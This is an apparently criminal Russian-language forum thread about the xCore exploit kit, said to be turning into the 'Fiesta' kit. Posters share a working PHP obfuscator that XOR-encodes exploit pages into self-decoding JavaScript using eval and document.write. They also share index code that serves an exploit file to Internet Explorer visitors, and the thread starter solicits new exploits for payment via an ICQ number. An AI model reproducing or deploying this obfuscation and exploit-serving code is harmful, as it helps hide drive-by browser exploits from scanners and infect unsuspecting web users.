Вобщем вот http://www.sendspace.com/file/kede39 ответ сервера полученный при заходе на связку. Срок давности примерно месяц. Сначало обычное гзип сжатие а потом самое вкусное и интерсное ))))) Надуюсь всех увидеть тут живыми.
xCore
- Автор темы lance
- Дата начала
- Автор темы
- Добавить закладку
- #22
Код:
function cryptjs( $txt )
{
$charcnt = strlen( $txt );
$xorval = mt_rand( 0, 255 );
$xorfrac = getmathfraction( $xorval );
$arrvar = rndvar( );
$strvar = rndvar( );
$xorvar = rndvar( );
$inpid = rndvar( );
$funcvar = rndvar( );
$code = "<html><body><input type='text'style='display:none'id='{$inpid}'value='";
$code .= "{$arrvar}=new Array(";
$i = 0;
for (; $i < $charcnt; $i++ )
{
$code .= ( ord( $txt[$i] ) ^ $xorval ).( $i < strlen( $txt ) - 1 ? "," : "" );
}
$code .= ");'/><script>";
$code .= "{$funcvar}=function(str){document.write(str);};{$strvar}=new String();{$xorvar}={$xorfrac};eval(document.getElementById('{$inpid}').value);";
$forvar = rndvar( );
$code .= "for({$forvar}=0;{$forvar}<{$charcnt};{$forvar}++){$strvar}+=String.fromCharCode({$arrvar}[{$forvar}]^{$xorvar});";
$code .= "{$funcvar}({$strvar});</script></body></html>";
return $code;
}
function cryptstart( )
{
@ob_end_flush( );
ob_start( );
}
function cryptend( )
{
$cnt = ob_get_contents( );
ob_end_clean( );
echo cryptjs( $cnt );
}lance, код не полный, но кажется что именно этот обфускатор использовался.
- Автор темы
- Добавить закладку
- #24
Именно он, там сплоиты изначально ещё обфуссицированны, функций криптования больше нет.
В индексе код примерно такой:
Код:
case "MSIE" :
cryptstart( );
include( "exp.php" );
cryptend( );
break;Ну в пхп нет функций
getmathfraction
rndvar
...
Значит они должны быть опеределены в скрипте. А ты их не выложил.
getmathfraction
rndvar
...
Значит они должны быть опеределены в скрипте. А ты их не выложил.
- Автор темы
- Добавить закладку
- #26
Сори не посмотрел :baby:
Короче выкладываю все функции а аттаче.
xcore сейчас веду я и она перерождается в фиесту
кстати если у кого есть что интересного по новым сплойтам милости просим в 567669
на мороженко само собой дам
кстати если у кого есть что интересного по новым сплойтам милости просим в 567669
на мороженко само собой дам